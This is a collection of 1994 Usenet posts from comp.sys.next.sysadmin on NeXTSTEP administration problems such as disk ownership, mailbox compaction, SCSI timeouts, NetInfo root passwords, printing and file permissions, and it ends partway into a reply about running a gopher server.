kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's
FaxFon: +49 30 4543046 \~/ mit Eleganz!"
Newsgroups: comp.sys.next.sysadmin
From: kiwi@belly.in-berlin.de (Axel Habermann)
Subject: Re: UserManager/chown problems
Message-ID: <CLEuKu.DDv@belly.in-berlin.de>
Sender: usenet@belly.in-berlin.de
Organization: - none -
References: <9402090412.AA05743@petra>
Date: Fri, 18 Feb 1994 08:07:41 GMT
In article <9402090412.AA05743@petra> petra!sas@decster.uta.edu (Shawn
Alva Stone) writes:
[... problems with chown ...]
Seems you have the problem which regularily comes up in this group:
It is not possible to change the ownership of files
on devices that are mounted automatically via the
workspace (note the message on console). These files
are owned by the user who is currently logged in.
If your problem is changing ownerships on
an external disk, you should consider adding an entry
in /etc/fstab, which mounts the disk during startup.
If you change /etc/fstab:
Don't use the noauto option on disks other than the startup disk!!!!!
(another common problem)
Good luck
--
Axel Habermann \\|// "Wenn Du nicht
kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du
kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's
FaxFon: +49 30 4543046 \~/ mit Eleganz!"
From: jcl@yonext.apl.washington.edu (James C. Luby)
Newsgroups: comp.sys.next.sysadmin
Subject: Compacting mailboxes
Date: 18 Feb 1994 16:44:48 GMT
Organization: University of Washington
Distribution: na
Message-ID: <2k2ra0$q23@news.u.washington.edu>
Keywords: compact, email
Under the Utilities menu of NextMail there is a "compact" option that, to the
best of my understanding, throws out old email messages that you have
"deleted." Over time I've created about 50 separate mailboxes and am wondering
if there is a way to compact all of them at once with, for instance, a unix
shell command. It appears, at the moment, as if I need to open up each mailbox
and then execute the "compact" option in order to get rid of old email. Any
suggestions for dealing with this issue are much appreciated.
Jim
From: wuj9@ac.wfu.edu (joe wu)
Newsgroups: comp.sys.next.sysadmin
Subject: disktab req for 128 MO drive
Date: 18 Feb 1994 16:10:59 GMT
Organization: Wake Forest University
Message-ID: <2k2paj$34s@quad.wfunet.wfu.edu>
Please send me disktab entry for 128Meg MO drive. Thanks.
wuj9@ac.wfunet.wfu.edu
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From: jdeclari@is.rpslmc.edu (John-William DeClaris)
Subject: Virruses for the NeXT and NeXTStep, is there any anti-virrus software?
Message-ID: <1994Feb18.170419.651@rpslmc.edu>
Sender: news@rpslmc.edu
Organization: Rush-Presbyterian-St. Luke's Medical Center
Date: Fri, 18 Feb 1994 17:04:19 GMT
Hello,
I co-administer about 50+ NeXT's and I am a little concerned about
virrusses. Is there any anti-viruss software for NeXTStep both m68K and Intel?
Please e-mail your answers to me at jdeclari@is.rpslmc.edu. Thanks.
--
John-William DeClaris
All comments made by me are mine and not reflective of RUSH
Live each day as if it were your last, because someday it will be.
"How can we avoid these unanticipated problems?" A Co-Worker's Concern
Newsgroups: comp.sys.next.sysadmin
From: wgilbert@fatou.uwaterloo.ca (Will Gilbert)
Subject: Re: Users cannot use WriteNow after upgrade - SOLVED
Message-ID: <CLFIu4.Iv0@watserv1.uwaterloo.ca>
Sender: news@watserv1.uwaterloo.ca
Organization: University of Waterloo
Date: Fri, 18 Feb 1994 16:51:39 GMT
I wrote:
> After I replaced my diskdrive in my NeXTstation and upgraded to
> 3.2, I found that some users could not use WriteNow.
The problem was solved by Matt_Watson@NeXT.COM, the same evening,
who said the permissions on /private/tmp should be "drwxrwxrwt".
Mine were set to something else after I rebuild my disk.
--
********************************************************
Will Gilbert, Pure Math Dept, Univ of Waterloo, Canada
wgilbert@fatou.UWaterloo.ca [NeXTmail welcome]
Will.Gilbert@UWaterloo.ca
From: sherwood@mars.space.ualberta.ca (System Administrator)
Newsgroups: comp.sys.next.sysadmin
Subject: Serial port interupts -- slow machine?
Date: 18 Feb 1994 20:21:27 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2k3807$i3t@quartz.ucs.ualberta.ca>
I have a cluster of Nextstations. One, running 3.2, has a supra 14,400 fax
modem attached. The machine runs DFax.
This machine (helios) is also used for rlogins. I am finding the following odd
behaviour.
1. Whenever anyone is using the modem, helios behaves like a slug. ethernet
logins have long pauses in response. When logged in on helios, the connection is
very flaky, with a response time from 0 to 3 seconds for a keypress.
2. kermit file transfer from helios proceeds very fast, close to the max speed
allowed by the modems. Going to helios there are many retries, and service is
sporadic. E.g. There will be 5 packets sent in a second. A 5-15 second pause,
then another burst of packets.
The supra is set up to communicate with helios at 38,400 regardless of the speed
negotiated between the modems.
Any suggestions as to improving helios's performance.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin
From: skip@sloth.nrl.navy.mil (L.C. (Skip) Kovacs)
Subject: Can't remote print in a mixed network
Message-ID: <CLFtIJ.JH8@ra.nrl.navy.mil>
Keywords: mixed network, remote print
Sender: usenet@ra.nrl.navy.mil
Organization: Naval Research Lab, Washington, DC
Date: Fri, 18 Feb 1994 20:42:19 GMT
I've upgraded my cube to NS 3.2 and set it up as a stand alone machine in
the NRL mixed net. Now I'm trying to gain access to a couple remote printers,
(both PostScript, with PPD's) that other non-Next machines have access to.
Since they're the only printers I can use, it would be nice to print to
them directly, rather than ftp-ing to the printer's host and doing it there.
I've done all the things recommended in the SysAdmin 3.2 docs (Chpt 11:
MixedNet) regardingn printcaps and PrintManager. I've made sure my Next
appears in the hosts.lpd files on the remote machines. PrintManager seems to
think the printers exist. But when I try to print the job just stays hung in
the queue (12 hours now). By the way, the job is in /usr/spool/appkit/spool.1
rather than in /usr/spool/NeXT/filename as the docs suggest.
I've checked the FAQs (both 2.x and 3.x versions) and there's no help there.
Other machines seem to be happy getting to the printers using the standard
unix tricks.
Any ideas?
Thanks,
skip
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Compacting mailboxes
Date: 18 Feb 1994 18:17:14 -0000
Organization: me organized? That's a joke!
Distribution: na
Message-ID: <2k30na$3t6@steffi.demon.co.uk>
References: <2k2ra0$q23@news.u.washington.edu>
Keywords: compact, email
jcl@yonext.apl.washington.edu wrote in comp.sys.next.sysadmin
>Under the Utilities menu of NextMail there is a "compact" option that, to the
>best of my understanding, throws out old email messages that you have
>"deleted." Over time I've created about 50 separate mailboxes and am wondering
>if there is a way to compact all of them at once with, for instance, a unix
>shell command. It appears, at the moment, as if I need to open up each mailbox
>and then execute the "compact" option in order to get rid of old email. Any
>suggestions for dealing with this issue are much appreciated.
>
> Jim
Yes go and get Carl Edmans mail-app utilities. compactmail is the
program you want.
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"No, what?"
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From: brunkhorst@mayo.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Can't change root netinfo domain except on server
Date: 17 Feb 1994 19:42:42 GMT
Organization: Mayo Foundation
Distribution: world
Message-ID: <2k0hbi$d71@fermat.mayo.edu>
References: <1994Feb15.195139.1865@afs.com>
In article <1994Feb15.195139.1865@afs.com> Michael_Pizolato@afs.com (Michael
Pizolato) writes:
> I'm running NetinfoManager on one machine but the domain I'm working
> in is the root domain and it's on another machine, namely the master
> netinfo server. I make a change to something in the root domain
> and try to save it. NetinfoManager gives me a panel where I have
> to enter the login and password of a privileged user, usually root,
> on the master netinfo server. I know the root password on the
> master netinfo server, but NetinfoManager refuses to accept it, so
> I cannot change anything in the root domain unless I am actually
> sitting at the master netinfo server, or I rsh to the master netinfo
> server, become root, and NXHost NetinfoManager back to my machine.
>
> What's the deal?
I find this problem typically when the root password on the local domain
on the master netinfo-server is different than the root password in the
master (/network) domain. In 2.n you could put the root password for
all subsidiary machines in the /network folder and they would all be
in sync. In 3.n, EACH netinfo domain must have a valid and complete
/users/root entry to manipulate that netinfo from across the network. AND
you must know that root's password. Of course, going from 1 password to
n+1 root passwords to manage and remember is a feature not a bug ;-).
Log onto the master server and make sure the root password is the same
in the domains /network/users and /local/users.
I just delete the /network/users/root folder (after a deep breath), and
drag the root folder from /local/users/root to /network/users.
I believe the assumption is that when you try and change something in the
master netinfo the root password you type MUST be in the master netinfo
database, IFF you are Netinfomanaging from a remote host.
---
Geoff
____________________________________________________________________________
Geoffrey Brunkhorst Brunkhorst.Geoffrey@Mayo.edu
Research Computing Facility, Guggenheim 10 (507) 284-1805
Mayo Foundation, Rochester MN, 55905, USA fax (507) 284-5231
Message-ID: <*-&@byu.edu>
Date: Fri, 18 Feb 94 14:49:49 MST
From: pmarc@zapotec.math.byu.edu (Paul Marshall Cardon II)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Security Issue: Check your systems
References: <2k2l6d$17i@steffi.demon.co.uk>
In article <2k2l6d$17i@steffi.demon.co.uk> robert@steffi.demon.co.uk
(Robert Nicholson) writes:
> gco@cs.stir.ac.uk wrote in comp.sys.next.sysadmin
> >Open mouth, insert foot!! Yes, you're right, even though Upgrade.app
> >gives you the option to leave this alone, it does indeed still modify
> >it! Great!!
> >
> >Apologies for any mis-info.
> >
> >Cheers,
> >
> >Graham.
>
> I think the less to be learnt here is not to use Upgrade app. Do a
> complete reinstall.
The particular problem we were concerned about occurs using both methods
(reinstall AND upgrade!) :-(
Why in the world would NeXT make 777 the default permissions for / ?
It just baffles me!
Paul M. Cardon
NeXTSTEP and HP System Manager
Math Dept. - Brigham Young University
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DOS - The Ultimate Blivet
From: eboltz@jhunix.hcf.jhu.edu (Eric Scott Boltz)
Newsgroups: comp.sys.next.sysadmin
Subject: uname or equiv? (NS 3.0)
Date: 18 Feb 1994 18:33:07 -0500
Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA
Distribution: world
Message-ID: <2k3j7jINN695@jhunix.hcf.jhu.edu>
Is there an equivalent to uname under NEXTSTEP 3.0 (black of course)?
Has this been added in 3.1 or 3.2?
-thanks!
Eric
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: PERL MAB submission (NeXT)
Date: 18 Feb 1994 23:31:40 -0000
Organization: me organized? That's a joke!
Message-ID: <2k3j4s$469@steffi.demon.co.uk>
There is a Perl MAB submission on cs.orst.edu in the form of a
package.
Please try it.
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"No, what?"
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From: windemut@cumbnd.bioc.columbia.edu (Andreas Windemuth)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Kodak ColorEase PS, anyone?
Date: 19 Feb 1994 00:48:48 GMT
Organization: Columbia University
Distribution: world
Message-ID: <2k3nlg$74v@apakabar.cc.columbia.edu>
We just got a Kodak ColorEase PS printer. It is supposed to
be a fine color printer. It is a PS II printer, so it should
work with the NeXT. I cannot get it to work, though. Does
anybody have such a machine? Set it up for the NeXT?
Any help would be greatly appreciated.
Andreas Windemuth
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From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Synchronous SCSI and NS Intel/ NS Moto
Date: 19 Feb 1994 01:18:08 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2k3pcg$2ch@agate.berkeley.edu>
Do all SCSI controllers and NS Intel 3.2 work in synchronous mode SCSI?
I ask this because, with Black NeXT hardware, the boot drive must
have the synchoronous mode disabled via jumper on the drive. And
I notice that some drives don't even have a jumper to turn off
synchronous mode now.
We've got a DEC 5200S 2.0GB drive (looked like the most inexpensive
2.0GB drive) and there is no jumper for truning off synchronous mode.
It works fine, as we use this just to add more storage as sd3a, and b.
But it is possible that, in not so distant future, you won't be
able to get a replacement boot disk for the black hardware that easily.
--
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USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin
From: tom@ennex1.eng.utsa.edu (Tom Arnow)
Subject: Help - Incredible Slow Machine!
Message-ID: <1994Feb19.005519.16958@ringer.cs.utsa.edu>
Sender: news@ringer.cs.utsa.edu
Organization: Univ of Texas at San Antonio
Date: Sat, 19 Feb 1994 00:55:19 GMT
Help!
We have a cube with a NeXTDimension board on a netinfo network. Recently
the machine has become very slow, taking as long as 20 minutes to log in.
When finally logged in, ps commands show no abnormal activity except that
the Kernel is taking a great deal of cpu time, as though it was in a
partial loop.
Suggestions please.
Thanks
Tom Arnow
Newsgroups: comp.sys.next.sysadmin
From: gregg@outback.ny.tpc.com (Greg Gershowitz)
Subject: Root & NS3.1/Intel
Message-ID: <1994Feb18.205230.6579@outback.ny.tpc.com>
Organization: Out Back Trading
Date: Fri, 18 Feb 1994 20:52:30 GMT
I'm trying to set up my NS3.1/Intel so that I can log in as root
from a remote machine (where I am root) without requiring a password.
I've set the ttys so that they are secure. I should mention that I'm
using YP (NIS) with a Sparc running SunOS 4.1.3 as my YP server.
What do I do?
-Greg G
--
"No matter who you are, no matter what you look like, deep down in
the gunny sack of your soul, in the top drawer, in the back, on the
bottom, we all have a pair of pants with a pocket full of kryptonite."
"When God belches, it sounds OK" - Spin Doctors, Jones Beach, 7/9/93
Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: Compacting mailboxes
In-Reply-To: jcl@yonext.apl.washington.edu's message of 18 Feb 1994 16:44:48 GMT
To: jcl@yonext.apl.washington.edu (James C. Luby)
Message-ID: <CEDMAN.94Feb18151439@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <2k2ra0$q23@news.u.washington.edu>
Distribution: na
Date: Fri, 18 Feb 1994 20:14:39 GMT
In article <2k2ra0$q23@news.u.washington.edu> jcl@yonext.apl.washington.edu (James C. Luby) writes:
Under the Utilities menu of NextMail there is a "compact" option that, to the
best of my understanding, throws out old email messages that you have
"deleted." Over time I've created about 50 separate mailboxes and am wondering
if there is a way to compact all of them at once with, for instance, a unix
shell command. It appears, at the moment, as if I need to open up each mailbox
and then execute the "compact" option in order to get rid of old email. Any
suggestions for dealing with this issue are much appreciated.
Yes, get the mailapp utilities from cs.orst.edu. They contain the
compactmail utility which is what you need. Also note that Mail.app
since NS 3.2 has an undocumented AutoCompact option which
unfortunately does not seem to do anything yet.
Carl Edman
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Root & NS3.1/Intel
Message-ID: <1994Feb19.071411.19659@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <1994Feb18.205230.6579@outback.ny.tpc.com>
Date: Sat, 19 Feb 1994 07:14:11 GMT
In article <1994Feb18.205230.6579@outback.ny.tpc.com>
gregg@outback.ny.tpc.com (Greg Gershowitz) writes:
> I'm trying to set up my NS3.1/Intel so that I can log in as root
> from a remote machine (where I am root) without requiring a password.
> I've set the ttys so that they are secure. I should mention that I'm
> using YP (NIS) with a Sparc running SunOS 4.1.3 as my YP server.
I presume that you are logging in via telnet (or rlogin). This uses a
pty, rather than a tty. If you change the pty entries to be secure as
well as (or instead of) the ttys, you should be able to do it.
Paul
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Tel: (0494)671501 9 Stable Lane, Seer Green,
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From: gerti@tms-gmbh.de (Gerd Knops)
Subject: SONY SMO-F521-00
Message-ID: <CLGus3.G8@tms-gmbh.de>
Sender: usenet@tms-gmbh.de
Organization: tms GmbH, Regensburg, Germany
Date: Sat, 19 Feb 1994 10:07:14 GMT
Hi,
I am trying to get a SONY SMO-F521-00 (an MO-Drive with ~650 MB) to work
with NEXTSTEP. Formatting through workspace fails. Trying 'disk -i' comes
up with the following result:
Daguerre:1# disk -i /dev/rsd1a
disk name: SONY SMO-F521-00
disk type: removable_rw_scsi
writing disk label
Writing /usr/standalone/boot
creating new filesystem on /dev/rsd1a
/usr/etc/newfs -n -v /dev/rsd1a
/etc/mkfs /dev/rsd1a 636881 3981 2 8192 1024 16 10 60 4096 t
Warning: insufficient space in super block for
rotational layout tables with nsect 3981 and ntrak 2.
File system performance may be impaired.
cylinder group too large (16 cylinders); max: 7 cylinders per
group
/usr/etc/newfs /dev/rsd1a failed (status 1)
Daguerre:2#
By playing arround, I found out, that sending only the first number to
mkfs works:
Daguerre:2# /etc/mkfs /dev/rsd1a 636881
Warning: 2048 bytes per inode impossible due
to cylinder group size, using 3058 bytes per inode
Reduce cylinder group size to reduce bytes per inode.
Warning: 47 sector(s) in last cylinder unallocated
/dev/rsd1a: 636881 sectors in 1244 cylinders of 16 tracks, 32
sectors
652.2Mb in 78 cyl groups (16 c/g, 8.39Mb/g, 2048
i/g)
super-block backups (for fsck -b#) at:
16, 8240, 16464, 24688, 32912, 41136, 49360, 57584, 65808,
74032,
82256, 90480, 98704, 106928, 115152, 123376, 131088,
139312, 147536, 155760,
163984, 172208, 180432, 188656, 196880, 205104, 213328,
221552, 229776, 238000,
246224, 254448, 262160, 270384, 278608, 286832, 295056,
303280, 311504, 319728,
327952, 336176, 344400, 352624, 360848, 369072, 377296,
385520, 393232, 401456,
409680, 417904, 426128, 434352, 442576, 450800, 459024,
467248, 475472, 483696,
491920, 500144, 508368, 516592, 524304, 532528, 540752,
548976, 557200, 565424,
573648, 581872, 590096, 598320, 606544, 614768, 622992,
631216,
Daguerre:3#
Since this 'doesn't feel right', does somebody have an appropiate
disktab-entry for this drive?
And also, there is a second problem: in about 50% of all cases, when
inserting the media, it gets spit out again after a short while. The
console repeats this sequence several times:
.
.
It seems, that the drive sometimes takes longer to get ready, than
workspace is willing to accept. Any ideas how to fix that?
Gerd
From: next2@info2.rus.uni-stuttgart.de (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: EATA timeout?
Date: 19 Feb 94 10:42:02 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <next2.761654522@info2.rus.uni-stuttgart.de>
References: <2k2ncf$9k3@osiris.wu-wien.ac.at>
rainer@wifzack (Rainer Staringer) writes:
>I have a DPT2022/90 card and DEC RZ26B 1GB drive in a DEC MTE PC
>running NS3.2. Time and again I get the error message 'EATA timeout'
>on the console, followed by 'Resetting SCSI bus' and other SCSI
>related error messages. The system then hangs. This happens most often
>when booting, before the date is displayed and the file system is
>checked, but after the device configuration. I never get an error
>when booting DOS. I tried various alternatives for the termination
>of the SCSI bus (active/passive) but to no avail.
>Does this problem sound familiar to anyone? Thanks for any info!
Yes, I'm suffering from the same problem. I don't have timeouts during
boot time, but after a couple of days up, a timeout occurs at a sudden.
I have no clue about it. My drives are a DEC DSP3053L and an IBM 0662S12,
the latter represents the end of the SCSI chain and has active termination
turned on. These timeout didn't happen with my previous 2021 ISA adapter.
Could it be a firmware bug? I'm using the most recent version (2C).
BTW: It is a good idea to set "SCSI timeouts" to "Disabled" with ECU.
This does not solve the problem, but it leaves the chance to you to shutdown
the machine with AltGr-Num without filesystem damage - if you react quickly
enough.
Regards,
Markus.
--
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mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Expert in quantum bogodynamics
From: shaman@halcyon.com (Russell Wilcoxon)
Newsgroups: comp.sys.next.sysadmin
Subject: AHA timeout with Adaptec solution
Date: 19 Feb 1994 03:28:37 -0800
Organization: Northwest Nexus Inc.
Sender: news@nwfocus.wa.com
Message-ID: <2k4t55$j8u@nwfocus.wa.com>
found that with my 1542c I had to go into the Adaptec bios and disable
the "Dos has more than two disks option. It worked.
shaman@halcyon.com
From: statman@stat.ufl.edu (Charles D. Kincaid)
Newsgroups: comp.sys.next.sysadmin
Subject: make_services not catching?
Date: 19 Feb 1994 14:25:22 GMT
Organization: University of Florida
Distribution: world
Message-ID: <2k57gjINN8gi@no-names.nerdc.ufl.edu>
Hello,
I noticed the other day that the services for HippoDraw and Stuart
were not showing up. So I did a 'make_services' and they showed up fine.
But I would then lose them again. I _think_ that I would lose them even
in the same session. I can't find any information on this. Has anyone
experienced this?
--
Sincerely,
charles d. kincaid
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From: pete@geminga.dartmouth.edu (Peter Schmitt)
Newsgroups: comp.sys.next.sysadmin
Subject: Desktop picture
Date: 19 Feb 1994 18:47:35 GMT
Organization: Dartmouth College, Hanover, NH, USA
Message-ID: <2k5ms7$kr@dartvax.dartmouth.edu>
Is there a utility that will allow me to place a gif or tiff picture
on the desktop?
-pete
From: hussain@artsci.wustl.edu (G. H. Chinoy)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXTStep as gopher server - suggestions?
Date: 19 Feb 1994 18:59:15 GMT
Organization: Washington University, St. Louis, MO
Message-ID: <2k5ni3$gqq@bigfoot.wustl.edu>
References: <DB3LB5VT@math.fu-berlin.de>
In article <DB3LB5VT@math.fu-berlin.de> Dimitrij Hmeljak
<nirmng@univ.trieste.it> writes:
> Facts:
> Installing a gopher server (in future WWW, [more], ... too).
> Available choices OpenVMS, OSF/1, Irix, Ultrix or a different
> dedicate machine / OS.
>
> Questions:
> 1) Do you have any similar experience?
> 2) Suggestions?
> 3) Would it be wise to install it on a new NeXTStep machine?
> 4) If so, what kind of machine - CPU, RAM, HDisks, ... ?
>
> Thank you very much for your cooperation... please email (too) answers.
>
> ----- Dimitrij Hmeljak ----- nirmng@univ.trieste.it -----
I administer the gopher server at Washington University's Arts &
Sciences NeXT Lab. We run it using the University of Minnesota Gopher server
2.011. (anonymous ftp boombox.micro.umn.edu in /pub/gopher)
Our NeXT that's running it is a NeXTstation turbo (250mb hard drive and
32 mb memory), try: gopher pear 70
I've had no problems with installation or maintenance.
We also plan to install a WWW server in the near future.
Hussain Chinoy
________________________________
Head Consultant, Arts & Sciences NeXT Lab
Cupples I, Room 213
Washington University in St. Louis (USA)
+1 314 935 4353
hussain@artsci.wustl.edu
From: sela@iastate.edu
Newsgroups: comp.sys.next.sysadmin
Subject: What is Perl?
Date: 19 Feb 1994 20:39:35 GMT
Organization: Iowa State University, Ames, Iowa
Distribution: world
Message-ID: <2k5te7$bdn@news.iastate.edu>
Call me ignorant, but could someone explain to me what Perl is?
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From: sela@iastate.edu
Newsgroups: comp.sys.next.sysadmin
Subject: What happened to the keyboard button under Preferences?
Date: 19 Feb 1994 20:45:09 GMT
Organization: Iowa State University, Ames, Iowa
Distribution: world
Message-ID: <2k5tol$bgn@news.iastate.edu>
What happened to the keyboard button that one could click on and see
a keyboard under Preferences in NS2.1? It seems to be gone for NS3.1.
What's the deal, I liked that function.
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From: james@aleph.ee.ualberta.ca (James Strohschein)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Help: slow hard drive transfer rate
Keywords: Fujitsu, hard drive, performance
Message-ID: <1994Feb19.194802.13497@kakwa.ucs.ualberta.ca>
Date: 19 Feb 94 19:48:02 GMT
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
I tested the speed of my hard drives using DrivePerformance, and am
puzzled by the results - the read rate on the Fujitsu is surprisingly
low.
write read (kB/sec)
Quantum 105 (100MB) 510 500
Fujitsu 2624 (520MB) 980 400
DrivePerformance documentation suggests that typical performance of
these drives (hardware unspecified) is
write read (kB/sec)
Quantum 105 (100MB) 450 470
Fujitsu 2624 (520MB) 810 690
So my Quantum drive performs as expected, but not the Fujitsu. Any idea
why the discrepancy between read rate and write rate on my Fijitsu is so
large? Any suggested remedies?
Hardware is NeXTstation mono (25 MHz, 20 MB), running NS3.2. Quantum
drive (512 B blocks) has 45 MB available, the Fujitsu (1024 B blocks)
has 160 MB available.
Thanks.
---
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james@aleph.ee.ualberta.ca (403) 492 -1181 (fax)
Newsgroups: comp.sys.next.sysadmin
From: shayman@Objectario.com (Steve Hayman)
Subject: Re: Security Issue: Check your systems
Message-ID: <1994Feb19.164920.1041@objectario.com>
Sender: shayman@objectario.com
Organization: Steve Hayman + Associates / NeXTSTEP Consulting / Toronto
References: <*-&@byu.edu>
Date: Sat, 19 Feb 1994 16:49:20 GMT
In article <*-&@byu.edu> writes:
> Why in the world would NeXT make 777 the default permissions for / ?
The default "/" permissions are actually 1777, not 777. That extra
"1" is the "sticky bit" (it shows up as a "t" if you ls -ld /)
and makes a world of difference - it means
that ordinary users cannot tinker with files in the directory
that they don't already own. /tmp is usually 1777 also.
777 for "/" would be bad. 1777 is OK. 755 is better.
See "man 8 sticky" for the full details on the sticky bit.
Steve
---
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Steve Hayman & Associates, Toronto, Ontario
(416) 769-8995 NeXTSTEP Consulting
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From: jgr@di.uminho.pt (Jorge Gustavo Rocha)
Subject: How to append a signature automatically within Mail.app?
Message-ID: <1994Feb18.115523.150@news.uminho.pt>
Keywords: signature Mail.app
Sender: newsadm@news.uminho.pt (Network News Account)
Organization: Universidade do Minho
Date: Fri, 18 Feb 1994 11:55:23 GMT
Hi,
Can someone out there, tell me how can I append a signature message within
Mail.app?
Thanks in advance,
Jorge.
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From: mike@perca.umd.edu (Mike Santangelo)
Newsgroups: comp.sys.next.sysadmin
Subject: ?? sendmail security alert
Date: 19 Feb 1994 21:33:23 -0500
Organization: Chesapeake Biological Laboratory
Message-ID: <2k6i5j$7tk@perca.umd.edu>
Summary: need patch info
Keywords: sendmail,security
There seems to be a CERT advisery for NeXT systems as well with regard
to that large security hole in sendmail. I am still running one NS2.2
system on a NeXTstarion Turbo. I understand there is some kind of
easy edit to sendmail.cf, what is it and is there anything special I
have to do (like freezing the config) after editing the file and
restarting sendmail?
Thanks!
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From: Rene Kulschewski <rene@rkt.in-berlin.de>
Subject: Re: EATA timeout?
Message-ID: <CLHJGn.Ln@rkt.in-berlin.de>
Sender: news@rkt.in-berlin.de (News System)
Organization: Home in Berlin
References: <CLFqBw.sA@rkt.in-berlin.de>
Date: Sat, 19 Feb 1994 19:00:22 GMT
In article <CLFqBw.sA@rkt.in-berlin.de> Rene Kulschewski
<rene@rkt.in-berlin.de> writes:
Sorry, it is not an 2021/95, it is a 2022/95 ...
Rene
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From: boonlow@kits.sfu.ca (Boon Chong Benjamin Low)
Subject: Re: EATA timeout?
Message-ID: <boonlow.761681086@sfu.ca>
Sender: news@sfu.ca (seymour news)
Organization: Simon Fraser University, Burnaby, B.C., Canada
References: <2k2ncf$9k3@osiris.wu-wien.ac.at> <next2.761654522@info2.rus.uni-stuttgart.de>
Date: Sat, 19 Feb 1994 18:04:46 GMT
I have the same problem while installing NSFIP 3.2
Plz offer me some advice.
Hey guys,
I have problem with installation of NSFIP 3.2
Plz help or offer me some advice if possible.
I have bought NSFIP for 2 months !! already and still couldn't get it install
due to one reason or another, sign ...:-(
My System
---------
AIR VESA motherboard
1 Western Digital IDE 340mb harddrive
1 Seagate SCSI ST31200 1 gig+ harddrive.
NEC CDR 84-1 on id-5
scsi harddrive on id-0
and DPT PM 2021/90 SCSI controller on id-7
both the DPT and NEC are terminated at both ends and the harddrive is in the
middle
ATI Ultra Vesa w/2mb vram
PAS studio sound card but I took it out while trying to install NSFIP
My system has 32mb ram
My Seagate SCSI harddrive is partition 500mb for DOS to try it out.
The other 500mb is unused.
I have Corel SCSI and my whole set up works well under DOS, Windows 3.1
and OS/2 2.1
Problems
--------
Okay, I disable and took out the cable for my 51/4 b drive, also disabled
in the bios.
I boot the system up with installation diskette and CD in the NEC cdrom drive.
reach (1) select english...
(2) continue without loading additional drivers ...
problem starts... :-((
The screen and this messages comes out
---------------------------------------
resetting SCSI bus
Eata controller at irq 15
registering irq15 ( it should be for my DPT controller )
sd0 : disk not ready
type 1 to install NeXTSTEP
(1) IDE disk #1
io-status=13, scsi-status=8, sense key=0
too many tries
cd-rom disk could not be used
installation cannot continue
that's all, folks, sign...
From then on, system will stop.
I try to change interrupt, IO address e.t.c on my DPT card,
and two days with this hell, I am still stuck with the same message.
My WD IDE is on a AT controller, could that pose a problem ?
Please help me guys, I try everything and nothing works, call tech-support
and got no replies from now.
Regards,
Ben.
(604) 420-3176
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: How to append a signature automatically within Mail.app?
In-Reply-To: jgr@di.uminho.pt's message of Fri, 18 Feb 1994 11:55:23 GMT
To: jgr@di.uminho.pt (Jorge Gustavo Rocha)
Message-ID: <CEDMAN.94Feb20093228@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1994Feb18.115523.150@news.uminho.pt>
Date: Sun, 20 Feb 1994 14:32:28 GMT
In article <1994Feb18.115523.150@news.uminho.pt> jgr@di.uminho.pt (Jorge Gustavo Rocha) writes:
Can someone out there, tell me how can I append a signature message within
Mail.app?
RTFFAQ.
Carl Edman
PS: That means Read The Friendly Frequently Asked Question list posted
to c.s.n.announce every month and most recently a few days ago.
From: anderson@macc.wisc.edu (Jess Anderson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to append a signature automatically within Mail.app?
Date: 20 Feb 1994 14:45:19 GMT
Organization: Division of Information Technology, UW-Madison
Message-ID: <2k7t1v$ikn@news.doit.wisc.edu>
References: <1994Feb18.115523.150@news.uminho.pt> <CEDMAN.94Feb20093228@capitalist.princeton.edu>
In article <CEDMAN.94Feb20093228@capitalist.princeton.edu>,
Carl Edman <cedman@princeton.edu> wrote:
>RTFFAQ.
>PS: That means Read The Friendly Frequently Asked Question list posted
>to c.s.n.announce every month and most recently a few days ago.
Heh heh. Civilized behavior comes to the net. :-)
--
[Jess Anderson <> Division of Information Technology, University of Wisconsin]
[Internet: anderson@doit.wisc.edu {o"o} UUCP:{}!uwvax!macc.wisc.edu!anderson]
[Room 3130 <> 1210 West Dayton Street / Madison WI 53706 <> Phone 608/262-5888]
[----------> He has all the qualities of a dog -- except fidelity. <----------]
Newsgroups: comp.sys.next.sysadmin
From: wooten@sacam.OREN.ORTN.EDU (John Wooten)
Subject: Re: NeXTStep as gopher server - suggestions?
Message-ID: <1994Feb20.154150.17389@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
